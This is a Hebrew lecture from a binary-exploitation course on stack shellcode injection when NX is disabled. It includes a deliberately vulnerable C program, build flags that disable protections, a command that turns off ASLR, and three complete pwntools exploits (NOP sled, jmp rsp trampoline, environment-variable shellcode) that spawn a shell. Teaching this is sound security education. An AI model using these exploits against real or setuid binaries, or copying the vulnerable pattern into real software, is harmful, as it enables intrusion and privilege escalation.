לדלג לתוכן

3.2 הזרקה והרצה ללא NX הרצאה

בפרק הקודם (3.1) כתבנו shellcode ביד: רצף בתים גולמי שכל תפקידו להריץ execve("/bin/sh", 0, 0) ולפתוח לנו מעטפת. בפרק 2 למדנו לקחת שליטה מלאה על מצביע ההוראות בעזרת buffer overflow. עכשיו נחבר את שני החלקים לתקיפה הקלאסית ביותר בהיסטוריה של ה-pwn: מזריקים את ה-shellcode לתוך הbuffer שגלש, ומכוונים את הreturn address בחזרה אליו. זו בדיוק ההתקפה שתוארה במאמר האגדי "Smashing the Stack for Fun and Profit" מ-1996.

היופי בתקיפה הזו הוא שאנחנו לא מסתמכים על שום קוד קיים בבינארי - אנחנו מביאים את הקוד שלנו. החיסרון הוא שהיא עובדת רק בתנאי אחד קריטי: המחסנית חייבת להיות ניתנת להרצה, כלומר NX כבוי. זו בדיוק הסיבה שכל שאר עולם ה-pwn המודרני (ROP, ret2libc) נולד - כדי להתמודד עם עולם שבו התנאי הזה כבר לא מתקיים. אבל כדי להעריך את הפתרונות המתוחכמים, קודם צריך להבין לעומק את ההתקפה המקורית.

הרעיון - injection shellcode והרצתו

בואו נחבר את התמונה. יש לנו buffer על המחסנית שאפשר לגלוש ממנו, ויש לנו shellcode. הרעיון בשלוש שורות:

  1. כותבים את ה-shellcode לתוך אזור הזיכרון שאנחנו שולטים בו (הbuffer עצמו, או המרחב שאחרי הreturn address).
  2. ממשיכים לכתוב עד שדורסים את הreturn address.
  3. בהreturn address שמים כתובת שמצביעה בחזרה אל ה-shellcode שלנו.

כשהפונקציה הvulnerable מבצעת ret, מצביע ההוראות קופץ אל הבתים שהזרקנו, המעבד מריץ אותם, ואנחנו מקבלים shell. זהו. הנה איך זה נראה במקרה שבו ה-shellcode יושב בתוך הbuffer:

low addresses (top of the stack)
+----------------------------+
| shellcode                  |  <-- we injected here, and this is where we want to jump
+----------------------------+
| padding up to the return address |
+----------------------------+
| saved rbp                  |
+----------------------------+
| return address = address of buf |  <-- ret jumps back to the shellcode
+----------------------------+
high addresses

השאלה היחידה שנשארת, וזו כל ההרצאה, היא: איזו כתובת בדיוק נכתוב בהreturn address? אנחנו צריכים לדעת איפה ה-shellcode יישב בזיכרון. רוב ההרצאה עוסקת בשלוש דרכים שונות לענות על השאלה הזו.

התנאי המקדים - מחסנית ניתנת להרצה - executable stack

לפני הכול, נוודא שהתקיפה בכלל אפשרית. אם NX פעיל, המחסנית מסומנת rw- (קריאה וכתיבה, בלי הרצה), והמעבד פשוט יסרב להריץ את הבתים שהזרקנו - נקבל SIGSEGV ברגע הקפיצה. כל ההרצאה הזו מניחה NX כבוי, כלומר מחסנית עם הרשאת הרצה.

איך יוצרים בינארי כזה? עם הדגל -z execstack בזמן הקישור:

gcc -m32 -z execstack -fno-stack-protector -no-pie -o vuln32 vuln.c
gcc      -z execstack -fno-stack-protector -no-pie -o vuln64 vuln.c

ההנחות שלנו לכל ההרצאה, מפורשות: NX כבוי (המחסנית ניתנת להרצה), בלי canary (הoverflow לא נתפסת), הבינארי לא PIE (כתובות הקוד קבועות). את ה-ASLR נכבה בהתחלה, ובהמשך נראה טכניקה שעובדת גם איתו.

בודקים את מצב ה-NX עם checksec. שימו לב לשורות NX ו-RWX:

$ checksec --file=./vuln64
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE
RWX:      Has RWX segments

השורות NX disabled ו-Has RWX segments הן בדיוק מה שאנחנו רוצים לראות. אפשר גם לבדוק ישירות את דגלי מקטע ה-GNU_STACK בקובץ ELF:

$ readelf -l vuln64 | grep GNU_STACK
GNU_STACK  0x0 0x0 0x0 0x0 0x0 RWE 0x10

הסימן RWE (במקום RW) אומר שהמחסנית ניתנת להרצה - האות E מסמנת Execute. זו הנורה הירוקה שלנו.

הבינארי לדוגמה - vuln.c

לאורך ההרצאה נעבוד עם הבינארי הvulnerable הבא. הbuffer קטן, וקריאת read שקוראת הרבה יותר בתים ממה שנכנס בו:

// vuln.c
#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[64];
    read(0, buf, 400);   // read 400 bytes into a 64-byte buffer - overflow
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

בחרנו ב-read בכוונה, ולא ב-gets או scanf. הסיבה: read קוראת בתים גולמיים כולל \x00, \n ורווחים. זה חשוב מאוד, כי כתובות מחסנית מכילות בתים אפסיים (במיוחד ב-64 ביט), ו-shellcode עלול להכיל בתים "מיוחדים". עם gets או scanf("%s") היינו נחסמים - נחזור לזה בסוף בסעיף המלכודות.

הבעיה הגדולה - מציאת הכתובת של ה-shellcode

הinjection עצמה קלה: פשוט שולחים את הבתים. הקושי האמיתי הוא לדעת לאן לקפוץ. הכתובת של המחסנית משתנה בין מכונות, בין הרצות (עם ASLR), ואפילו לפי משתני הסביבה. נסקור שלוש דרכים, מהפשוטה למתוחכמת:

  • כתובת ישירה - כש-ASLR כבוי, כתובת המחסנית יציבה. מוצאים אותה פעם אחת ומשתמשים בה.
  • טרמפולינה - jmp esp / jmp rsp - קופצים דרך גאדג'ט קבוע בבינארי, בלי לדעת בכלל את כתובת המחסנית. עובד גם עם ASLR פעיל.
  • משתנה סביבה - environment variable - שמים את ה-shellcode במשתנה סביבה, שכתובתו על המחסנית ניתנת לחישוב.

נעבור עליהן אחת-אחת.

שיטה א - כתובת ישירה כש-ASLR כבוי

כשה-ASLR כבוי, כתובות המחסנית זהות בכל הרצה. כלומר, אם נמצא פעם אחת איפה יושב הbuffer, נוכל להשתמש באותה כתובת שוב ושוב. נכבה ASLR ברמת המערכת:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

עכשיו נמצא את כתובת הbuffer ב-gdb. נשים breakpoint על vuln, נריץ, ונסתכל על ראש המחסנית:

pwndbg> break vuln
pwndbg> run
pwndbg> p $rsp
$1 = (void *) 0x7fffffffde28
pwndbg> stack 20

הדרך האמינה ביותר: נשלח קלט מזהה (למשל שרשרת A), נעצור אחרי ה-read, ונחפש איפה הוא נחת:

pwndbg> search -s "AAAAAAAA"
[stack] 0x7fffffffde10 'AAAAAAAA...'

הכתובת 0x7fffffffde10 היא תחילת הbuffer. אם נשים את ה-shellcode בתחילת הbuffer, זו בדיוק הכתובת שנרצה בהreturn address.

המלכודת של gdb מול הרצה אמיתית

עכשיו לנקודה שמפילה תלמידים כל שנה מחדש: הכתובת שראיתם ב-gdb כמעט תמיד שונה מהכתובת בהרצה רגילה, גם כשה-ASLR כבוי. למה? כי המחסנית נבנית מלמעלה עם משתני הסביבה (envp) והארגומנטים (argv). ה-gdb מוסיף משתני סביבה משלו (כמו LINES ו-COLUMNS) ומריץ את הבינארי עם נתיב מלא ב-argv[0]. כל בית נוסף בסביבה מזיז את כל המחסנית, ולכן הכתובת של buf זזה בהתאם.

שתי דרכים להתמודד:

  • לנטרל את ההבדל: להריץ ב-gdb עם unset env LINES, unset env COLUMNS, ולהיצמד לאותו argv[0]. או פשוט לחבר את gdb לתהליך אמיתי עם gdb.attach(p) מתוך pwntools, כך שהסביבה זהה.
  • לספוג את ההבדל: להשתמש במזחלת NOP גדולה, שסופגת אי-דיוק של עשרות ומאות בתים. זו הדרך הקלה, ומיד נסביר אותה.

מזחלת NOP - NOP sled

הבעיה: אנחנו לא יודעים את הכתובת המדויקת של ה-shellcode, אולי טעות של כמה עשרות בתים לכאן או לכאן. הפתרון קלאסי ואלגנטי. ההוראה nop (בית 0x90) לא עושה כלום - היא רק מקדמת את מצביע ההוראות בבית אחד. אם נשים לפני ה-shellcode מזחלת ארוכה של הוראות nop, אז מספיק שנקפוץ לאנשהו בתוך המזחלת. המעבד יריץ nop, nop, nop... ויחליק קדימה עד שיגיע ל-shellcode.

low addresses
+----------------------------+
| padding - 72 bytes         |  <-- fills buf and saved rbp
+----------------------------+
| return address = middle of the sled |  <-- no need for precision! landing anywhere in the sled is enough
+----------------------------+
| 90 90 90 90 ... (sled)     |  <-- we land here, and slide forward
+----------------------------+
| shellcode                  |  <-- we arrive here and execute
+----------------------------+
high addresses

שמנו את המזחלת וה-shellcode דווקא אחרי הreturn address. למה? כי הbuffer שלנו קטן (64 בתים) ואין בו מקום למזחלת רצינית, אבל אחרי הreturn address יש לנו את כל שאר ה-read (עד 400 בתים) לשחק בו. הכתובת שנשים בהreturn address מכוונת לאמצע המזחלת.

על גודל המזחלת: ככל שהיא גדולה יותר, כך יש לנו יותר סובלנות לאי-דיוק בכתובת. אם ההבדל בין gdb להרצה אמיתית הוא, נניח, 200 בתים, מזחלת של 512 בתים תבלע אותו בקלות ותשאיר לנו מרווח ביטחון. כלל אצבע: מזחלת של כמה מאות בתים, ולכוון לאמצע שלה. עוד עדינות: המזחלת חייבת להיות באמת הוראות שלא משנות מצב קריטי לפני ה-shellcode. 0x90 מושלם לזה כי הוא הוראה בת בית אחד שלא נוגעת בשום רגיסטר.

הexploit מלא - שיטת הכתובת הישירה

הנה exploit שלם ב-pwntools ל-vuln64, בשיטת הכתובת הישירה עם מזחלת:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln64')
context.arch = 'amd64'

offset = 72                                  # measured with cyclic (buf 64 + saved rbp 8)
sc = asm(shellcraft.amd64.linux.sh())        # the hand-written shellcode from 3.1 also works

# the address we saw in gdb, pointing into the sled (ASLR off)
ret_target = 0x7fffffffde90

sled = b'\x90' * 512
payload  = b'A' * offset
payload += p64(ret_target)                   # ret jumps to the middle of the sled
payload += sled + sc

p = process('./vuln64')
p.send(payload)
p.interactive()

איך מכוונים את ret_target נכון? הכי אמין: להריץ את ה-exploit פעם אחת עם gdb.attach(p), לחפש את המזחלת עם search -s "\x90\x90\x90\x90", ולבחור כתובת שנמצאת עמוק בתוכה. מכיוון שהמזחלת ארוכה, אפילו כתובת מוערכת בגסות תעבוד. אם זה קורס, הגדילו את המזחלת וכוונו קצת יותר גבוה.

הגישה הזו נהדרת ללמידה ולאתגרים עם ASLR כבוי, אבל היא שברירית: היא תלויה בכתובת מחסנית ספציפית. ברגע שמדליקים ASLR, כתובת המחסנית משתנה בכל הרצה והשיטה מתה. בשביל זה קיימת השיטה הבאה.

שיטה ב - טרמפולינה עם jmp esp / jmp rsp

זו לדעתי השיטה היפה בפרק. הרעיון: במקום לנחש את כתובת המחסנית, ננצל עובדה שאנחנו כן יודעים בוודאות. חשבו רגע מה קורה ברגע ה-ret של הפונקציה הvulnerable. ה-ret שולף את הreturn address מראש המחסנית, ובאותו רגע מצביע המחסנית rsp (או esp) מצביע בדיוק על הסלוט שמיד אחרי הreturn address.

מה אם נשים את ה-shellcode בדיוק שם, מיד אחרי הreturn address? אז rsp מצביע עליו! נשאר רק לגרום למעבד לקפוץ אל rsp. וכאן הטריק: יש הוראה קטנה, jmp rsp (או jmp esp ב-32 ביט), שהקידוד שלה הוא שני בתים בלבד - ff e4. אם נמצא בבינארי כתובת שבה יושבים הבתים האלה, נשים אותה בהreturn address. הזרימה:

1. the ret of vuln pops the address of the "jmp rsp" gadget -> eip jumps to the gadget
2. at that moment rsp points to the shellcode (the slot after the return address)
3. the gadget executes "jmp rsp" -> eip jumps to the shellcode
4. the shellcode runs. shell.
low addresses (rsp after the ret)
+----------------------------+
| padding - 72 bytes         |
+----------------------------+
| return address = address of jmp rsp |  <-- the ret of vuln jumps to the gadget
+----------------------------+
| shellcode                  |  <-- rsp points exactly here; jmp rsp jumps here
+----------------------------+
high addresses

למה זה גאוני? כי לא היינו צריכים לדעת את כתובת המחסנית בכלל. הכתובת היחידה שהשתמשנו בה היא כתובת הגאדג'ט jmp rsp, והיא נמצאת בתוך הבינארי. מכיוון שהבינארי לא PIE, הכתובת הזו קבועה גם כש-ASLR פעיל. ה-ASLR מערבב את המחסנית, אבל לא אכפת לנו - אנחנו לא נוגעים בכתובת המחסנית, רק ב-rsp שממילא מצביע לאן שצריך. זו שיטה שעוקפת ASLR של המחסנית לחלוטין.

איך מוצאים את הגאדג'ט? כמה דרכים:

$ ROPgadget --binary vuln64 | grep 'jmp rsp'
0x000000000040118f : jmp rsp

$ objdump -d vuln64 | grep -w 'ff e4'

או, הכי נוח, ישר מתוך pwntools עם חיפוש הבתים במקטעים הניתנים להרצה.

הexploit מלא - שיטת ה-jmp rsp

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln64')
context.arch = 'amd64'

offset = 72
sc = asm(shellcraft.amd64.linux.sh())

jmp_rsp = next(elf.search(asm('jmp rsp'), executable=True))   # searching for ff e4
log.info('jmp rsp @ %#x', jmp_rsp)

payload  = b'A' * offset
payload += p64(jmp_rsp)   # ret jumps to jmp rsp
payload += sc             # rsp points exactly here

p = process('./vuln64')
p.send(payload)
p.interactive()

שימו לב כמה זה נקי: אין מזחלת, אין ניחוש כתובת, אין תלות ב-ASLR של המחסנית. ב-32 ביט הכול זהה, רק מחליפים jmp rsp ל-jmp esp, p64 ל-p32, ו-context.arch = 'i386'. הקידוד ff e4 זהה בשתי הארכיטקטורות.

נקודה עדינה ל-64 ביט: פונקציות libc "כבדות" דורשות alignment מחסנית ל-16 בתים בגלל הוראות movaps (ראינו את זה ב-2.3). אבל ל-shellcode שלנו זה לא רלוונטי - הוא מבצע syscall גולמי ולא נוגע ב-movaps, אז אין בעיית alignment. זו עוד סיבה שinjection shellcode פשוטה יותר מ-ret2libc.

ועוד עדינות טכנית שכדאי להבין: כשה-shellcode רץ מ-rsp ומבצע push, מצביע המחסנית יורד וכותב מתחת ל-shellcode (לכתובות נמוכות, לתוך אזור הbuffer הישן), בעוד מצביע ההוראות מטפס מעל (לכתובות גבוהות). השניים מתרחקים זה מזה, ולכן ה-push של ה-shellcode לא דורס את ההוראות שהוא עצמו עומד להריץ. בזכות זה הטריק עובד חלק.

שיטה ג - shellcode במשתנה סביבה - environment variable

לפעמים הbuffer קטן מדי בשביל shellcode + מזחלת, או שרוצים כתובת יציבה במיוחד (למשל כשתוקפים בינארי setuid נפרד). הפתרון: לשים את ה-shellcode במשתנה סביבה. משתני הסביבה מאוחסנים בראש המחסנית, ובכתובת שאפשר לחשב כשה-ASLR כבוי.

מכניסים את ה-shellcode (עם מזחלת נדיבה מקדימה) למשתנה סביבה:

export SC=$(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*400 + open('sc.bin','rb').read())")

עכשיו צריך לדעת באיזו כתובת המשתנה יישב על המחסנית של התוכנית הvulnerable. הכלי הקלאסי לזה הוא תוכנית עזר קטנה, getenvaddr, שקוראת ל-getenv ומדפיסה את הכתובת:

// getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;
    if (argc < 3) {
        printf("usage: %s <envvar> <target_name>\n", argv[0]);
        return 1;
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;   // correction based on the length of the program name
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}
$ gcc getenvaddr.c -o getenvaddr
$ ./getenvaddr SC ./vuln32
SC will be at 0xffffd8e0

מה זה התיקון המוזר (strlen(argv[0]) - strlen(argv[2])) * 2? הכתובת של משתני הסביבה על המחסנית תלויה באורך שם התוכנית (argv[0]), כי גם הוא מאוחסן בראש המחסנית ליד הסביבה. אם נריץ את תוכנית העזר עם שם באורך שונה מהמטרה, הכתובת תזוז. התיקון מפצה על ההפרש. הדרך הבטוחה ביותר: להריץ את המטרה עם בדיוק אותה שורת הפעלה (./vuln32), ואם עדיין יש סטייה - לאמת את הכתובת ב-gdb עם search -s SC, ולהוסיף מזחלת גדולה שתבלע שגיאות קטנות.

עכשיו התקיפה עצמה פשוטה: פשוט שמים את הכתובת של SC בהreturn address. ה-shellcode כבר יושב שם, בתוך משתנה הסביבה, מוכן לרוץ:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln32')
context.arch = 'i386'

offset = 76
sc_addr = 0xffffd8e0 + 100    # address of SC + entry into the NOP sled

payload = b'A' * offset + p32(sc_addr)

p = process('./vuln32', env={'SC': b'\x90'*400 + asm(shellcraft.i386.linux.sh())})
p.send(payload)
p.interactive()

היתרון הגדול: ה-shellcode לא מוגבל בגודל הbuffer - הוא יכול להיות ארוך ככל שנרצה, עם מזחלת ענקית. החיסרון: כמו שיטה א, זה מסתמך על כתובת יציבה, ולכן דורש ASLR כבוי.

מלכודות נפוצות וטיפים

  • בתים אסורים בקלט. אם התוכנית קוראת עם gets, scanf("%s") או strcpy, בית \x00 (ולפעמים גם \n ורווח) יקטע את הקלט. זו בעיה כפולה: כתובות מחסנית ב-64 ביט מכילות בתים אפסיים (0x00007fff...), וגם ה-shellcode עצמו עלול. עם read אין בעיה. אחרת, צריך shellcode "נקי" (פרק 3.3) וכתובות בלי אפסים.
  • סדר בתים בכתובות 64 ביט. כתובת מחסנית טיפוסית היא 0x00007fffffffde90 - שני הבתים העליונים אפסים. אם הקלט נקטע ב-null, כתובת כזו חייבת להיות הדבר האחרון בpayload (כי הכול שאחריה ייקטע). עם read זה לא מפריע.
  • הכלי gdb משקר לכם על הכתובות. כפי שהסברנו, הסביבה של gdb שונה מהרצה רגילה, אז כתובת המחסנית זזה. אל תתפלאו אם exploit "עובד ב-gdb ולא בטרמינל" או להפך. הפתרון: מזחלת גדולה, או gdb.attach() לתהליך אמיתי, או שיטת ה-jmp rsp שלא תלויה בכתובת מחסנית בכלל.
  • באמת כיביתם NX? אם הקפיצה ל-shellcode מקבלת SIGSEGV מיד, בדקו שוב עם checksec ו-readelf -l | grep STACK. שכחה של -z execstack היא הטעות הכי נפוצה כאן.
  • מתי מעדיפים איזו שיטה. jmp rsp היא הבחירה הראשונה כשיש גאדג'ט זמין, כי היא לא תלויה בכתובות ועובדת גם עם ASLR. כתובת ישירה עם מזחלת פשוטה מאוד כשה-ASLR כבוי. משתנה סביבה שימושי כשהbuffer קטן מדי או כשתוקפים בינארי setuid נפרד שאפשר להשפיע על הסביבה שלו.

סיכום

  • הinjection shellcode היא ההתקפה הקלאסית: כותבים את ה-shellcode לתוך הזיכרון שאנחנו שולטים בו, דורסים את הreturn address, ומכוונים אותה בחזרה אל ה-shellcode.
  • התנאי ההכרחי הוא מחסנית ניתנת להרצה (NX כבוי), נבנית עם -z execstack ונבדקת עם checksec (NX disabled) או readelf -l (RWE).
  • שיטה א - כתובת ישירה: כש-ASLR כבוי מוצאים את כתובת הbuffer ב-gdb ומשתמשים בה. סופגים אי-דיוק עם מזחלת NOP (רצף 0x90) שמאפשרת לקפוץ לאנשהו לפניה.
  • שיטה ב - טרמפולינה jmp rsp/jmp esp: מנצלים ש-rsp מצביע על ה-shellcode ברגע ה-ret, וקופצים אליו דרך גאדג'ט קבוע (ff e4) בבינארי. לא תלוי בכתובת מחסנית, עובד גם עם ASLR כי הבינארי לא PIE.
  • שיטה ג - משתנה סביבה: מכניסים shellcode + מזחלת למשתנה סביבה, מחשבים את כתובתו עם getenvaddr (ומאמתים ב-gdb), וקופצים לשם. שימושי כשהbuffer קטן מדי.
  • מלכודות מרכזיות: בתים אסורים בקלט (gets/scanf מול read), ההבדל בין הסביבה של gdb להרצה אמיתית, ובתים אפסיים בכתובות 64 ביט.
  • כל זה מניח NX כבוי. מול NX פעיל אף שיטה כאן לא תעבוד, וניפגש עם הפתרונות (ret2libc, ROP) בפרקים הבאים.